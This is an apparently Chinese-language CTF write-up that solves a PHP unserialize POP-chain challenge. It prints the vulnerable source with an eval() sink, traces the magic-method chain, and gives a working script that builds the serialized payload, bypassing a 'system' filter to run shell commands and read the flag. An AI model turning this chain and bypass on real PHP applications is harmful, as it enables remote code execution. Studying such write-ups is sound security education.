pop chain

三月的月赛有两道题,第一题用御剑直接扫到了泄露的www.zip,根据里面的源码直接秒了。所以这次月赛的主要就考这道pop链题。看看题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 <?php
class A{
public $test="give_me_flag";
public $command;
public function __wakeup()
{
if($this->test=="give_me_flag"){
echo "lalala";
}
}
public function __call($a,$b){
$this->test=$val[0];
}
public function __toString(){
echo $this->test;
return "gg";
}
public function __invoke(){
$this->command=str_replace("system","",$this->command);
@eval($this->command);
}

}
class B{
public $external;
public $arg;
public function __destruct(){
$this->external->NOT_EXIST($this->arg);
}
}
class C{
public $t;
public $o;
public function __call($func,$arg1){
$this->t->test=$arg1[0];
}
public function __toString(){
$s=$this->o;
return $s();
}
}
class D{
public $str;
public $sentence="";

public function __set($n,$v){
if($this->sentence=="I need flag"){
strtolower($this->str);
}
}
}
if(isset($_GET['ctfer'])){
@unserialize($_GET['ctfer']);
}else{
highlight_file(__FILE__);
}
?>

pop链就是让一个魔术方法触发另一个魔术方法最后触发到漏洞点,所以解pop链的关键是找到漏洞点然后不断倒推。先来看看各种魔术方法:

img

根据上图看看我在草稿上画的的解题流程图(不太熟练,画图理清思路)

img

用官方一点的表示方式就是B::_destruct->C::_call->D::_set->C::_toString->A::_invoke(我画的图比较利于写程序)

程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A{
public $test="give_me_flag";
public $command;
}
class B{
public $external;
public $arg;
}
class C{
public $t;
public $o;
}
class D{
public $str;
public $sentence="";
}
$a=new A();
$a->command="systsystemem('ls /');";
$c=new C();
$c->o=$a;
$d=new D();
$d->str=$c;
$d->sentence="I need flag";
$c->t=$d;
$b=new B();
$b->external=$c;
$poc = serialize($b);
echo urlencode($poc);

输出

img

然后把ls /换成cat /flag即可得到flag。